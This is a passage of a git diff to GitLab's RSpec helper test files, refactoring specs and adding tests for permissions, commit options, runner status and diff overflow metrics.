+ context 'when the user can merge' do
+ before do
+ project.add_maintainer(user)
+ end
+
+ it { is_expected.to be true }
+ end
+ end
+
+ describe '#can_update' do
+ subject { resolve(:can_update) }
+
+ context 'when the user cannot update the MR' do
+ it { is_expected.to be false }
+ end
+
+ context 'when the user can update the MR' do
+ before do
+ project.add_developer(user)
+ end
+
+ it { is_expected.to be true }
+ end
+ end
+
+ describe '#review_state' do
+ subject { resolve(:review_state) }
+
+ context 'when the user has not been asked to review the MR' do
+ it { is_expected.to be_nil }
+
+ it 'implies not reviewed' do
+ expect(resolve(:reviewed)).to be false
+ end
+ end
+
+ context 'when the user has been asked to review the MR' do
+ before do
+ merge_request.reviewers << user
+ end
+
+ it { is_expected.to eq(Types::MergeRequestReviewStateEnum.values['UNREVIEWED'].value) }
+
+ it 'implies not reviewed' do
+ expect(resolve(:reviewed)).to be false
+ end
+ end
+
+ context 'when the user has provided a review' do
+ before do
+ merge_request.merge_request_reviewers.create!(reviewer: user, state: MergeRequestReviewer.states['reviewed'])
+ end
+
+ it { is_expected.to eq(Types::MergeRequestReviewStateEnum.values['REVIEWED'].value) }
+
+ it 'implies reviewed' do
+ expect(resolve(:reviewed)).to be true
+ end
+ end
+ end
+
+ describe '#approved' do
+ subject { resolve(:approved) }
+
+ context 'when the user has not approved the MR' do
+ it { is_expected.to be false }
+ end
+
+ context 'when the user has approved the MR' do
+ before do
+ merge_request.approved_by_users << user
+ end
+
+ it { is_expected.to be true }
+ end
+ end
+end
diff --git a/spec/helpers/application_helper_spec.rb b/spec/helpers/application_helper_spec.rb
index c7470f31ad8..ae039c1a8b1 100644
--- a/spec/helpers/application_helper_spec.rb
+++ b/spec/helpers/application_helper_spec.rb
@@ -168,11 +168,13 @@ RSpec.describe ApplicationHelper do
it { expect(helper.active_when(false)).to eq(nil) }
end
- describe '#promo_host' do
- subject { helper.promo_host }
+ unless Gitlab.jh?
+ describe '#promo_host' do
+ subject { helper.promo_host }
- it 'returns the url' do
- is_expected.to eq('about.gitlab.com')
+ it 'returns the url' do
+ is_expected.to eq('about.gitlab.com')
+ end
end
end
@@ -180,7 +182,7 @@ RSpec.describe ApplicationHelper do
subject { helper.promo_url }
it 'returns the url' do
- is_expected.to eq('https://about.gitlab.com')
+ is_expected.to eq("https://#{helper.promo_host}")
end
it 'changes if promo_host changes' do
@@ -194,7 +196,7 @@ RSpec.describe ApplicationHelper do
subject { helper.contact_sales_url }
it 'returns the url' do
- is_expected.to eq('https://about.gitlab.com/sales')
+ is_expected.to eq("https://#{helper.promo_host}/sales")
end
it 'changes if promo_url changes' do
@@ -316,9 +318,7 @@ RSpec.describe ApplicationHelper do
let(:user) { create(:user, static_object_token: 'hunter1') }
before do
- allow_next_instance_of(ApplicationSetting) do |instance|
- allow(instance).to receive(:static_objects_external_storage_url).and_return('https://cdn.gitlab.com')
- end
+ stub_application_setting(static_objects_external_storage_url: 'https://cdn.gitlab.com')
allow(helper).to receive(:current_user).and_return(user)
end
diff --git a/spec/helpers/avatars_helper_spec.rb b/spec/helpers/avatars_helper_spec.rb
index 7fcd5ae880a..120dbe7cb49 100644
--- a/spec/helpers/avatars_helper_spec.rb
+++ b/spec/helpers/avatars_helper_spec.rb
@@ -121,27 +121,13 @@ RSpec.describe AvatarsHelper do
end
end
- context "when :avatar_cache_for_email flag is enabled" do
- before do
- stub_feature_flags(avatar_cache_for_email: true)
- end
-
- it_behaves_like "returns avatar for email"
+ it_behaves_like "returns avatar for email"
- it "caches the request" do
- expect(User).to receive(:find_by_any_email).once.and_call_original
-
- expect(helper.avatar_icon_for_email(user.email).to_s).to eq(user.avatar.url)
- expect(helper.avatar_icon_for_email(user.email).to_s).to eq(user.avatar.url)
- end
- end
-
- context "when :avatar_cache_for_email flag is disabled" do
- before do
- stub_feature_flags(avatar_cache_for_email: false)
- end
+ it "caches the request" do
+ expect(User).to receive(:find_by_any_email).once.and_call_original
- it_behaves_like "returns avatar for email"
+ expect(helper.avatar_icon_for_email(user.email).to_s).to eq(user.avatar.url)
+ expect(helper.avatar_icon_for_email(user.email).to_s).to eq(user.avatar.url)
end
end
diff --git a/spec/helpers/blob_helper_spec.rb b/spec/helpers/blob_helper_spec.rb
index b584a906565..885569574a4 100644
--- a/spec/helpers/blob_helper_spec.rb
+++ b/spec/helpers/blob_helper_spec.rb
@@ -304,6 +304,7 @@ RSpec.describe BlobHelper do
let_it_be(:namespace) { create(:namespace, name: 'gitlab') }
let_it_be(:project) { create(:project, :repository, namespace: namespace) }
let_it_be(:current_user) { create(:user) }
+
let(:can_push_code) { true }
let(:blob) { project.repository.blob_at('refs/heads/master', 'README.md') }
@@ -489,9 +490,18 @@ RSpec.describe BlobHelper do
expect(uri.path).to eq("/#{project.namespace.path}/#{project.path}/-/forks")
expect(params).to include("continue[to]=/-/ide/project/#{project.namespace.path}/#{project.path}/edit/master")
+ expect(params).to include("continue[notice]=#{edit_in_new_fork_notice}")
+ expect(params).to include("continue[notice_now]=#{edit_in_new_fork_notice_now}")
expect(params).to include("namespace_key=#{current_user.namespace.id}")
end
+ it 'does not include notice params with_notice: false' do
+ uri = URI(helper.ide_fork_and_edit_path(project, "master", "", with_notice: false))
+
+ expect(uri.path).to eq("/#{project.namespace.path}/#{project.path}/-/forks")
+ expect(CGI.unescape(uri.query)).to eq("continue[to]=/-/ide/project/#{project.namespace.path}/#{project.path}/edit/master&namespace_key=#{current_user.namespace.id}")
+ end
+
context 'when user is not logged in' do
let(:current_user) { nil }
diff --git a/spec/helpers/boards_helper_spec.rb b/spec/helpers/boards_helper_spec.rb
index b00ee19cea2..00cd44809c7 100644
--- a/spec/helpers/boards_helper_spec.rb
+++ b/spec/helpers/boards_helper_spec.rb
@@ -64,6 +64,7 @@ RSpec.describe BoardsHelper do
allow(helper).to receive(:current_user) { user }
allow(helper).to receive(:can?).with(user, :create_non_backlog_issues, project_board).and_return(true)
allow(helper).to receive(:can?).with(user, :admin_issue, project_board).and_return(true)
+ allow(helper).to receive(:can?).with(user, :admin_issue_board_list, project).and_return(false)
end
it 'returns a board_lists_path as lists_endpoint' do
@@ -86,6 +87,17 @@ RSpec.describe BoardsHelper do
it 'returns the group id of a project' do
expect(helper.board_data[:group_id]).to eq(project.group.id)
end
+
+ context 'can_admin_list' do
+ it 'returns can_admin_list as false by default' do
+ expect(helper.board_data[:can_admin_list]).to eq('false')
+ end
+ it 'returns can_admin_list as true when user can admin the board' do
+ allow(helper).to receive(:can?).with(user, :admin_issue_board_list, project).and_return(true)
+
+ expect(helper.board_data[:can_admin_list]).to eq('true')
+ end
+ end
end
context 'group board' do
@@ -96,6 +108,7 @@ RSpec.describe BoardsHelper do
allow(helper).to receive(:current_user) { user }
allow(helper).to receive(:can?).with(user, :create_non_backlog_issues, group_board).and_return(true)
allow(helper).to receive(:can?).with(user, :admin_issue, group_board).and_return(true)
+ allow(helper).to receive(:can?).with(user, :admin_issue_board_list, base_group).and_return(false)
end
it 'returns correct path for base group' do
@@ -110,6 +123,17 @@ RSpec.describe BoardsHelper do
it 'returns the group id' do
expect(helper.board_data[:group_id]).to eq(base_group.id)
end
+
+ context 'can_admin_list' do
+ it 'returns can_admin_list as false by default' do
+ expect(helper.board_data[:can_admin_list]).to eq('false')
+ end
+ it 'returns can_admin_list as true when user can admin the board' do
+ allow(helper).to receive(:can?).with(user, :admin_issue_board_list, base_group).and_return(true)
+
+ expect(helper.board_data[:can_admin_list]).to eq('true')
+ end
+ end
end
end
diff --git a/spec/helpers/broadcast_messages_helper_spec.rb b/spec/helpers/broadcast_messages_helper_spec.rb
index 21fde35954e..3e8cbdf89a0 100644
--- a/spec/helpers/broadcast_messages_helper_spec.rb
+++ b/spec/helpers/broadcast_messages_helper_spec.rb
@@ -28,6 +28,7 @@ RSpec.describe BroadcastMessagesHelper do
describe 'broadcast_message' do
let_it_be(:user) { create(:user) }
+
let(:current_broadcast_message) { BroadcastMessage.new(message: 'Current Message') }
before do
diff --git a/spec/helpers/button_helper_spec.rb b/spec/helpers/button_helper_spec.rb
index ecb9c98b1bf..09495bbde35 100644
--- a/spec/helpers/button_helper_spec.rb
+++ b/spec/helpers/button_helper_spec.rb
@@ -171,6 +171,7 @@ RSpec.describe ButtonHelper do
expect(element.attr('data-placement')).to eq('bottom')
expect(element.attr('data-container')).to eq('body')
expect(element.attr('data-clipboard-text')).to eq(nil)
+ expect(element.attr('itemprop')).to eq(nil)
expect(element.inner_text).to eq("")
expect(element.to_html).to include sprite_icon('copy-to-clipboard')
@@ -209,5 +210,11 @@ RSpec.describe ButtonHelper do
expect(element(hide_button_icon: true).to_html).not_to include sprite_icon('duplicate')
end
end
+
+ context 'with `itemprop` attribute provided' do
+ it 'shows copy to clipboard button with `itemprop` attribute' do
+ expect(element(itemprop: "identifier").attr('itemprop')).to eq("identifier")
+ end
+ end
end
end
diff --git a/spec/helpers/ci/pipeline_editor_helper_spec.rb b/spec/helpers/ci/pipeline_editor_helper_spec.rb
index 7686983eb0f..a08517d0c57 100644
--- a/spec/helpers/ci/pipeline_editor_helper_spec.rb
+++ b/spec/helpers/ci/pipeline_editor_helper_spec.rb
@@ -20,4 +20,36 @@ RSpec.describe Ci::PipelineEditorHelper do
expect(subject).to be false
end
end
+
+ describe '#js_pipeline_editor_data' do
+ let(:project) { create(:project, :repository) }
+
+ before do
+ allow(helper)
+ .to receive(:namespace_project_new_merge_request_path)
+ .and_return('/mock/project/-/merge_requests/new')
+
+ allow(helper)
+ .to receive(:image_path)
+ .and_return('foo')
+ end
+
+ subject(:pipeline_editor_data) { helper.js_pipeline_editor_data(project) }
+
+ it 'returns pipeline editor data' do
+ expect(pipeline_editor_data).to eq({
+ "ci-config-path": project.ci_config_path_or_default,
+ "commit-sha" => project.commit.sha,
+ "default-branch" => project.default_branch,
+ "empty-state-illustration-path" => 'foo',
+ "initial-branch-name": nil,
+ "lint-help-page-path" => help_page_path('ci/lint', anchor: 'validate-basic-logic-and-syntax'),
+ "new-merge-request-path" => '/mock/project/-/merge_requests/new',
+ "project-path" => project.path,
+ "project-full-path" => project.full_path,
+ "project-namespace" => project.namespace.full_path,
+ "yml-help-page-path" => help_page_path('ci/yaml/README')
+ })
+ end
+ end
end
diff --git a/spec/helpers/ci/runners_helper_spec.rb b/spec/helpers/ci/runners_helper_spec.rb
index 6e41afac4ee..94d4d620de9 100644
--- a/spec/helpers/ci/runners_helper_spec.rb
+++ b/spec/helpers/ci/runners_helper_spec.rb
@@ -3,19 +3,26 @@
require 'spec_helper'
RSpec.describe Ci::RunnersHelper do
- it "returns - not contacted yet" do
- runner = FactoryBot.build :ci_runner
- expect(runner_status_icon(runner)).to include("not connected yet")
- end
+ describe '#runner_status_icon', :clean_gitlab_redis_cache do
+ it "returns - not contacted yet" do
+ runner = create(:ci_runner)
+ expect(runner_status_icon(runner)).to include("not connected yet")
+ end
- it "returns offline text" do
- runner = FactoryBot.build(:ci_runner, contacted_at: 1.day.ago, active: true)
- expect(runner_status_icon(runner)).to include("Runner is offline")
- end
+ it "returns offline text" do
+ runner = create(:ci_runner, contacted_at: 1.day.ago, active: true)
+ expect(runner_status_icon(runner)).to include("Runner is offline")
+ end
- it "returns online text" do
- runner = FactoryBot.build(:ci_runner, contacted_at: 1.second.ago, active: true)
- expect(runner_status_icon(runner)).to include("Runner is online")
+ it "returns online text" do
+ runner = create(:ci_runner, contacted_at: 1.second.ago, active: true)
+ expect(runner_status_icon(runner)).to include("Runner is online")
+ end
+
+ it "returns paused text" do
+ runner = create(:ci_runner, contacted_at: 1.second.ago, active: false)
+ expect(runner_status_icon(runner)).to include("Runner is paused")
+ end
end
describe '#runner_contacted_at' do
@@ -77,6 +84,7 @@ RSpec.describe Ci::RunnersHelper do
describe '#toggle_shared_runners_settings_data' do
let_it_be(:group) { create(:group) }
+
let(:project_with_runners) { create(:project, namespace: group, shared_runners_enabled: true) }
let(:project_without_runners) { create(:project, namespace: group, shared_runners_enabled: false) }
diff --git a/spec/helpers/commits_helper_spec.rb b/spec/helpers/commits_helper_spec.rb
index 2a8e2e04947..86ed133e599 100644
--- a/spec/helpers/commits_helper_spec.rb
+++ b/spec/helpers/commits_helper_spec.rb
@@ -5,58 +5,6 @@ require 'spec_helper'
RSpec.describe CommitsHelper do
include ProjectForksHelper
- describe '#revert_commit_link' do
- context 'when current_user exists' do
- before do
- allow(helper).to receive(:current_user).and_return(double('User'))
- end
-
- it 'renders a div for Vue' do
- result = helper.revert_commit_link
-
- expect(result).to include('js-revert-commit-trigger')
- end
- end
-
- context 'when current_user does not exist' do
- before do
- allow(helper).to receive(:current_user).and_return(nil)
- end
-
- it 'does not render anything' do
- result = helper.revert_commit_link
-
- expect(result).to be_nil
- end
- end
- end
-
- describe '#cherry_pick_commit_link' do
- context 'when current_user exists' do
- before do
- allow(helper).to receive(:current_user).and_return(double('User'))
- end
-
- it 'renders a div for Vue' do
- result = helper.cherry_pick_commit_link
-
- expect(result).to include('js-cherry-pick-commit-trigger')
- end
- end
-
- context 'when current_user does not exist' do
- before do
- allow(helper).to receive(:current_user).and_return(nil)
- end
-
- it 'does not render anything' do
- result = helper.cherry_pick_commit_link
-
- expect(result).to be_nil
- end
- end
- end
-
describe 'commit_author_link' do
it 'escapes the author email' do
commit = double(
@@ -252,7 +200,7 @@ RSpec.describe CommitsHelper do
end
it 'returns data for cherry picking into a project' do
- expect(helper.cherry_pick_projects_data(project)).to match_array([
+ expect(helper.cherry_pick_projects_data(forked_project)).to match_array([
{ id: project.id.to_s, name: project.full_path, refsUrl: refs_project_path(project) },
{ id: forked_project.id.to_s, name: forked_project.full_path, refsUrl: refs_project_path(forked_project) }
])
@@ -268,4 +216,77 @@ RSpec.describe CommitsHelper do
end
end
end
+
+ describe "#commit_options_dropdown_data" do
+ let(:project) { build(:project, :repository) }
+ let(:commit) { build(:commit) }
+ let(:user) { build(:user) }
+
+ subject { helper.commit_options_dropdown_data(project, commit) }
+
+ context "when user is logged in" do
+ before do
+ allow(helper).to receive(:can?).with(user, :push_code, project).and_return(true)
+ allow(helper).to receive(:current_user).and_return(user)
+ end
+
+ it "returns data as expected" do
+ is_expected.to eq standard_expected_data
+ end
+
+ context "when can not collaborate on project" do
+ before do
+ allow(helper).to receive(:can_collaborate_with_project?).with(project).and_return(false)
+ end
+
+ it "returns data as expected" do
+ no_collaboration_values = {
+ can_revert: 'false',
+ can_cherry_pick: 'false'
+ }
+
+ is_expected.to eq standard_expected_data.merge(no_collaboration_values)
+ end
+ end
+
+ context "when commit has already been reverted" do
+ before do
+ allow(commit).to receive(:has_been_reverted?).with(user).and_return(true)
+ end
+
+ it "returns data as expected" do
+ is_expected.to eq standard_expected_data.merge({ can_revert: 'false' })
+ end
+ end
+ end
+
+ context "when user is not logged in" do
+ before do
+ allow(helper).to receive(:can?).with(nil, :push_code, project).and_return(false)
+ allow(helper).to receive(:current_user).and_return(nil)
+ end
+
+ it "returns data as expected" do
+ logged_out_values = {
+ can_revert: '',
+ can_cherry_pick: '',
+ can_tag: 'false'
+ }
+
+ is_expected.to eq standard_expected_data.merge(logged_out_values)
+ end
+ end
+
+ def standard_expected_data
+ {
+ new_project_tag_path: new_project_tag_path(project, ref: commit),
+ email_patches_path: project_commit_path(project, commit, format: :patch),
+ plain_diff_path: project_commit_path(project, commit, format: :diff),
+ can_revert: 'true',
+ can_cherry_pick: 'true',
+ can_tag: 'true',
+ can_email_patches: 'true'
+ }
+ end
+ end
end
diff --git a/spec/helpers/diff_helper_spec.rb b/spec/helpers/diff_helper_spec.rb
index 20fa8d62884..dfea1020c52 100644
--- a/spec/helpers/diff_helper_spec.rb
+++ b/spec/helpers/diff_helper_spec.rb
@@ -291,6 +291,8 @@ RSpec.describe DiffHelper do
end
describe '#render_overflow_warning?' do
+ using RSpec::Parameterized::TableSyntax
+
let(:diffs_collection) { instance_double(Gitlab::Diff::FileCollection::MergeRequestDiff, raw_diff_files: diff_files) }
let(:diff_files) { Gitlab::Git::DiffCollection.new(files) }
let(:safe_file) { { too_large: false, diff: '' } }
@@ -299,13 +301,42 @@ RSpec.describe DiffHelper do
before do
allow(diff_files).to receive(:overflow?).and_return(false)
+ allow(diff_files).to receive(:overflow_max_bytes?).and_return(false)
+ allow(diff_files).to receive(:overflow_max_files?).and_return(false)
+ allow(diff_files).to receive(:overflow_max_lines?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_bytes?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_files?).and_return(false)
+ allow(diff_files).to receive(:collapsed_safe_lines?).and_return(false)
end
- context 'when neither collection nor individual file hit the limit' do
+ context 'when no limits are hit' do
it 'returns false and does not log any overflow events' do
expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_collection_limits)
expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_single_file_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_max_bytes_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_max_files_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_max_lines_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_collapsed_bytes_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_collapsed_files_limits)
+ expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_collapsed_lines_limits)
+
+ expect(render_overflow_warning?(diffs_collection)).to be false
+ end
+ end
+
+ where(:overflow_method, :event_name) do
+ :overflow_max_bytes? | :diffs_overflow_max_bytes_limits
+ :overflow_max_files? | :diffs_overflow_max_files_limits
+ :overflow_max_lines? | :diffs_overflow_max_lines_limits
+ :collapsed_safe_bytes? | :diffs_overflow_collapsed_bytes_limits
+ :collapsed_safe_files? | :diffs_overflow_collapsed_files_limits
+ :collapsed_safe_lines? | :diffs_overflow_collapsed_lines_limits
+ end
+ with_them do
+ it 'returns false and only logs the correct collection overflow event' do
+ allow(diff_files).to receive(overflow_method).and_return(true)
+ expect(Gitlab::Metrics).to receive(:add_event).with(event_name).once
expect(render_overflow_warning?(diffs_collection)).to be false
end
end
@@ -315,9 +346,8 @@ RSpec.describe DiffHelper do
allow(diff_files).to receive(:overflow?).and_return(true)
end
- it 'returns false and only logs collection overflow event' do
- expect(Gitlab::Metrics).to receive(:add_event).with(:diffs_overflow_collection_limits).exactly(:once)
- expect(Gitlab::Metrics).not_to receive(:add_event).with(:diffs_overflow_single_file_limits)
+ it 'returns true and only logs all the correct collection overflow event' do
+ expect(Gitlab::Metrics).to receive(:add_event).with(:diffs_overflow_collection_limits).once
expect(render_overflow_warning?(diffs_collection)).to be true
end
diff --git a/spec/helpers/graph_helper_spec.rb b/spec/helpers/graph_helper_spec.rb
index 682f6365481..0930417accb 100644
--- a/spec/helpers/graph_helper_spec.rb
+++ b/spec/helpers/graph_helper_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe GraphHelper do
end
end
- describe '#should_render_deployment_frequency_charts' do
+ describe '#should_render_dora_charts' do
let(:project) { create(:project, :private) }
before do
@@ -24,7 +24,7 @@ RSpec.describe GraphHelper do
end
it 'always returns false' do
- expect(should_render_deployment_frequency_charts).to be(false)
+ expect(should_render_dora_charts).to be(false)
end
end
end
diff --git a/spec/helpers/groups_helper_spec.rb b/spec/helpers/groups_helper_spec.rb
index 0d2af464902..d588120bb98 100644
--- a/spec/helpers/groups_helper_spec.rb
+++ b/spec/helpers/groups_helper_spec.rb
@@ -5,33 +5,31 @@ require 'spec_helper'
RSpec.describe GroupsHelper do
include ApplicationHelper
- describe 'group_icon_url' do
+ describe '#group_icon_url' do
it 'returns an url for the avatar' do
- avatar_file_path = File.join('spec', 'fixtures', 'banana_sample.gif')
+ group = create(:group, :with_avatar)
- group = create(:group)
- group.avatar = fixture_file_upload(avatar_file_path)
- group.save!
- expect(group_icon_url(group.path).to_s)
- .to match(group.avatar.url)
+ expect(group_icon_url(group.path).to_s).to match(group.avatar.url)
end
it 'gives default avatar_icon when no avatar is present' do
- group = create(:group)
+ group = build_stubbed(:group)
+
expect(group_icon_url(group.path)).to match_asset_path('group_avatar.png')
end
end
- describe 'group_dependency_proxy_url' do
+ describe '#group_dependency_proxy_url' do
it 'converts uppercase letters to lowercase' do
- group = create(:group, path: 'GroupWithUPPERcaseLetters')
+ group = build_stubbed(:group, path: 'GroupWithUPPERcaseLetters')
+
expect(group_dependency_proxy_url(group)).to end_with("/groupwithuppercaseletters#{DependencyProxy::URL_SUFFIX}")
end
end
- describe 'group_lfs_status' do
- let(:group) { create(:group) }
- let!(:project) { create(:project, namespace_id: group.id) }
+ describe '#group_lfs_status' do
+ let_it_be_with_reload(:group) { create(:group) }
+ let_it_be_with_reload(:project) { create(:project, namespace_id: group.id) }
before do
allow(Gitlab.config.lfs).to receive(:enabled).and_return(true)
@@ -54,9 +52,7 @@ RSpec.describe GroupsHelper do
end
context 'more than one project in group' do
- before do
- create(:project, namespace_id: group.id)
- end
+ let_it_be_with_reload(:another_project) { create(:project, namespace_id: group.id) }
context 'LFS enabled in group' do
before do
@@ -92,7 +88,7 @@ RSpec.describe GroupsHelper do
end
end
- describe 'group_title' do
+ describe '#group_title' do
let_it_be(:group) { create(:group) }
let_it_be(:nested_group) { create(:group, parent: group) }
let_it_be(:deep_nested_group) { create(:group, parent: nested_group) }
@@ -113,16 +109,26 @@ RSpec.describe GroupsHelper do
subject
end
+
+ it 'avoids N+1 queries' do
+ control_count = ActiveRecord::QueryRecorder.new do
+ helper.group_title(nested_group)
+ end
+
+ expect do
+ helper.group_title(very_deep_nested_group)
+ end.not_to exceed_query_limit(control_count)
+ end
end
- # rubocop:disable Layout/SpaceBeforeComma
describe '#share_with_group_lock_help_text' do
- let!(:root_group) { create(:group) }
- let!(:subgroup) { create(:group, parent: root_group) }
- let!(:sub_subgroup) { create(:group, parent: subgroup) }
- let(:root_owner) { create(:user) }
- let(:sub_owner) { create(:user) }
- let(:sub_sub_owner) { create(:user) }
+ let_it_be_with_reload(:root_group) { create(:group) }
+ let_it_be_with_reload(:subgroup) { create(:group, parent: root_group) }
+ let_it_be_with_reload(:sub_subgroup) { create(:group, parent: subgroup) }
+ let_it_be(:root_owner) { create(:user) }
+ let_it_be(:sub_owner) { create(:user) }
+ let_it_be(:sub_sub_owner) { create(:user) }
+
let(:possible_help_texts) do
{
default_help: "This setting will be applied to all subgroups unless overridden by a group owner",
@@ -149,6 +155,13 @@ RSpec.describe GroupsHelper do
subject { helper.share_with_group_lock_help_text(sub_subgroup) }
+ before_all do
+ root_group.add_owner(root_owner)
+ subgroup.add_owner(sub_owner)
+ sub_subgroup.add_owner(sub_sub_owner)
+ end
+
+ # rubocop:disable Layout/SpaceBeforeComma
where(:root_share_with_group_locked, :subgroup_share_with_group_locked, :sub_subgroup_share_with_group_locked, :current_user, :help_text, :linked_ancestor) do
[
[false , false , false , :root_owner , :default_help , nil],
@@ -177,13 +190,10 @@ RSpec.describe GroupsHelper do
[true , true , true , :sub_sub_owner , :ancestor_locked_so_ask_the_owner , :root_group]
]
end
+ # rubocop:enable Layout/SpaceBeforeComma
with_them do
before do
- root_group.add_owner(root_owner)
- subgroup.add_owner(sub_owner)
- sub_subgroup.add_owner(sub_sub_owner)
-
root_group.update_column(:share_with_group_lock, true) if root_share_with_group_locked
subgroup.update_column(:share_with_group_lock, true) if subgroup_share_with_group_locked
sub_subgroup.update_column(:share_with_group_lock, true) if sub_subgroup_share_with_group_locked
@@ -212,8 +222,8 @@ RSpec.describe GroupsHelper do
end
describe '#group_container_registry_nav' do
- let(:group) { create(:group, :public) }
- let(:user) { create(:user) }
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:user) { create(:user) }
before do
stub_container_registry_config(enabled: true)
@@ -248,8 +258,8 @@ RSpec.describe GroupsHelper do
end
describe '#group_sidebar_links' do
- let(:group) { create(:group, :public) }
- let(:user) { create(:user) }
+ let_it_be(:group) { create(:group, :public) }
+ let_it_be(:user) { create(:user) }
before do
group.add_owner(user)
@@ -287,10 +297,10 @@ RSpec.describe GroupsHelper do
end
end
- describe 'parent_group_options' do
- let(:current_user) { create(:user) }
- let(:group) { create(:group, name: 'group') }
- let(:group2) { create(:group, name: 'group2') }
+ describe '#parent_group_options' do
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group, name: 'group') }
+ let_it_be(:group2) { create(:group, name: 'group2') }
before do
group.add_owner(current_user)
@@ -321,9 +331,9 @@ RSpec.describe GroupsHelper do
end
describe '#can_disable_group_emails?' do
- let(:current_user) { create(:user) }
- let(:group) { create(:group, name: 'group') }
- let(:subgroup) { create(:group, name: 'subgroup', parent: group) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group, name: 'group') }
+ let_it_be(:subgroup) { create(:group, name: 'subgroup', parent: group) }
before do
allow(helper).to receive(:current_user) { current_user }
@@ -361,8 +371,8 @@ RSpec.describe GroupsHelper do
end
describe '#can_update_default_branch_protection?' do
- let(:current_user) { create(:user) }
- let(:group) { create(:group) }
+ let_it_be(:current_user) { create(:user) }
+ let_it_be(:group) { create(:group) }
subject { helper.can_update_default_branch_protection?(group) }
@@ -451,75 +461,42 @@ RSpec.describe GroupsHelper do
end
end
- describe '#group_open_issues_count' do
+ describe '#render_setting_to_allow_project_access_token_creation?' do
let_it_be(:current_user) { create(:user) }
- let_it_be(:group) { create(:group, :public) }
- let_it_be(:count_service) { Groups::OpenIssuesCountService }
+ let_it_be(:parent) { create(:group) }
+ let_it_be(:group) { create(:group, parent: parent) }
before do
allow(helper).to receive(:current_user) { current_user }
+ parent.add_owner(current_user)
+ group.add_owner(current_user)
end
- it 'returns count value from cache' do
- allow_next_instance_of(count_service) do |service|
- allow(service).to receive(:count).and_return(2500)
- end
-
- expect(helper.group_open_issues_count(group)).to eq('2.5k')
+ it 'returns true if group is root' do
+ expect(helper.render_setting_to_allow_project_access_token_creation?(parent)).to be_truthy
end
- context 'when cached_sidebar_open_issues_count feature flag is disabled' do
- before do
- stub_feature_flags(cached_sidebar_open_issues_count: false)
- end
-
- it 'returns not cached issues count' do
- allow(helper).to receive(:group_issues_count).and_return(2500)
-
- expect(helper.group_open_issues_count(group)).to eq('2,500')
- end
+ it 'returns false if group is subgroup' do
+ expect(helper.render_setting_to_allow_project_access_token_creation?(group)).to be_falsy
end
end
- describe '#cached_open_group_issues_count' do
+ describe '#cached_issuables_count' do
let_it_be(:current_user) { create(:user) }
let_it_be(:group) { create(:group, name: 'group') }
- let_it_be(:count_service) { Groups::OpenIssuesCountService }
- before do
- allow(helper).to receive(:current_user) { current_user }
- end
+ context 'with issues type' do
+ let(:type) { :issues }
+ let(:count_service) { Groups::OpenIssuesCountService }
- it 'returns all digits for count value under 1000' do
- allow_next_instance_of(count_service) do |service|
- allow(service).to receive(:count).and_return(999)
- end
-
- expect(helper.cached_open_group_issues_count(group)).to eq('999')
- end
-
- it 'returns truncated digits for count value over 1000' do
- allow_next_instance_of(count_service) do |service|
- allow(service).to receive(:count).and_return(2300)
- end
-
- expect(helper.cached_open_group_issues_count(group)).to eq('2.3k')
+ it_behaves_like 'cached issuables count'
end
- it 'returns truncated digits for count value over 10000' do
- allow_next_instance_of(count_service) do |service|
- allow(service).to receive(:count).and_return(12560)
- end
-
- expect(helper.cached_open_group_issues_count(group)).to eq('12.6k')
- end
-
- it 'returns truncated digits for count value over 100000' do
- allow_next_instance_of(count_service) do |service|
- allow(service).to receive(:count).and_return(112560)
- end
+ context 'with merge requests type' do
+ let(:type) { :merge_requests }
+ let(:count_service) { Groups::MergeRequestsCountService }
- expect(helper.cached_open_group_issues_count(group)).to eq('112.6k')
+ it_behaves_like 'cached issuables count'
end
end
end
diff --git a/spec/helpers/ide_helper_spec.rb b/spec/helpers/ide_helper_spec.rb
index db30446fa95..963d5953d4c 100644
--- a/spec/helpers/ide_helper_spec.rb
+++ b/spec/helpers/ide_helper_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe IdeHelper do
'branch-name' => nil,
'file-path' => nil,
'merge-request' => nil,
- 'forked-project' => nil,
+ 'fork-info' => nil,
'project' => nil
)
end
@@ -25,10 +25,12 @@ RSpec.describe IdeHelper do
context 'when instance vars are set' do
it 'returns instance data in the hash' do
+ fork_info = { ide_path: '/test/ide/path' }
+
self.instance_variable_set(:@branch, 'master')
self.instance_variable_set(:@path, 'foo/bar')
self.instance_variable_set(:@merge_request, '1')
- self.instance_variable_set(:@forked_project, project)
+ self.instance_variable_set(:@fork_info, fork_info)
self.instance_variable_set(:@project, project)
serialized_project = API::Entities::Project.represent(project).to_json
@@ -38,7 +40,7 @@ RSpec.describe IdeHelper do
'branch-name' => 'master',
'file-path' => 'foo/bar',
'merge-request' => '1',
- 'forked-project' => serialized_project,
+ 'fork-info' => fork_info.to_json,
'project' => serialized_project
)
end
diff --git a/spec/helpers/invite_members_helper_spec.rb b/spec/helpers/invite_members_helper_spec.rb
index 62bd953cce8..109b1fc4441 100644
--- a/spec/helpers/invite_members_helper_spec.rb
+++ b/spec/helpers/invite_members_helper_spec.rb
@@ -5,6 +5,7 @@ require "spec_helper"
RSpec.describe InviteMembersHelper do
let_it_be(:project) { create(:project) }
let_it_be(:developer) { create(:user, developer_projects: [project]) }
+
let(:owner) { project.owner }
before do
@@ -253,6 +254,7 @@ RSpec.describe InviteMembersHelper do
context 'with a project' do
let_it_be(:form_model) { project }
+
let(:link_href) { "href=\"#{project_project_members_path(form_model)}\"" }
it_behaves_like 'dropdown invite members link'
@@ -260,6 +262,7 @@ RSpec.describe InviteMembersHelper do
context 'with a group' do
let_it_be(:form_model) { create(:group) }
+
let(:link_href) { "href=\"#{group_group_members_path(form_model)}\"" }
